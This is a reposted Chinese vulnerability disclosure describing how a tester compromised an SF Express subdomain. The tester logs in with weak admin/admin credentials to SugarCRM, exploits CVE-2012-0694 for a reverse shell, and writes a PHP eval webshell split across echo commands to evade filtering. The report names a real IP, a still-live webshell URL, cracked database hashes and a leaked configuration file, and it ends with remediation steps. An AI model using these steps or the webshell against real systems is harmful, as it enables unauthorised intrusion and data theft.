顺丰速运某分站PHP代码执行漏洞

2012-8-20 10:54:36 来源:网络转载 浏览:372
顺丰速运最新漏洞公布:顺丰速运某分站PHP代码执行漏洞。

简要描述:
其实是漏洞合集啊,包括PHP代码执行,信息泄漏等,导致拿到WebShell。

详细说明:
1. DNS域传送漏洞

顺丰某站PHP代码执行漏洞

2. PHP代码执行漏洞
把整理出来的IP扔到NMAP里,找到了一些有风险的系统。
地址:http://219.134.187.130:8085/index.php?module=Users&action=Login
弱口令admin/admin进入后台。

顺丰某站PHP代码执行漏洞
进入系统之后发现SugarCRM版本是6.2.3,刚好用上最近的一个Exploit(需用户认证)。
CVE编号:CVE-2012-0694 SugarCRM CE <= 6.3.1 "unserialize()" PHP Code Execution
于是拿到反弹shell。

顺丰某站PHP代码执行漏洞
在拿到Webshell之前有个小插曲,发现wget命令不能使用,貌似是防火墙禁止服务器外联。不过touch命令可以使用,vi不能用,只能使用echo。于是创建一个1.php的文件,然后echo写入。
touch 1.php
echo "<?php eval($_POST[cmd])?>" >> 1.php
但发现每次写入文件之后,$_POST都会被过滤掉,如下图。

顺丰某站PHP代码执行漏洞
于是想可不可以使用XSS的方法(跟gainover学的,参考了http://www.wooyun.org/bugs/wooyun-2012-07854,哈哈)分开写,
于是第一行
echo -n "<?php eval($" >> 1.php
第二行
echo -n "_POST[cmd])?>" >> 1.php

顺丰某站PHP代码执行漏洞

然后用菜刀连上后上传Webshell。

顺丰某站PHP代码执行漏洞
Webshell地址 http://219.134.187.130:8085/shell.php
暂未删除
数据库信息

顺丰某站PHP代码执行漏洞
破解MD5后,进入招聘网站后台

顺丰某站PHP代码执行漏洞

3.信息泄漏,包括Oracle数据库的一些信息。
http://uatmobile.sf-express.com/SFMobile.xml

漏洞证明:
都在详细说明里了。
其它的系统都还好,像JBOSS,OpenFire等,该补的洞都补了,很多系统也升级到最新了。

修复方案:
1. 修改SugarCRM口令。
2. 删除http://uatmobile.sf-express.com/SFMobile.xml文件。
3. 请删除测试时的Webshell http://219.134.187.130:8085/shell.php
4. 服务如果没有用就停掉,数据库和应用分离。

(0)
(0)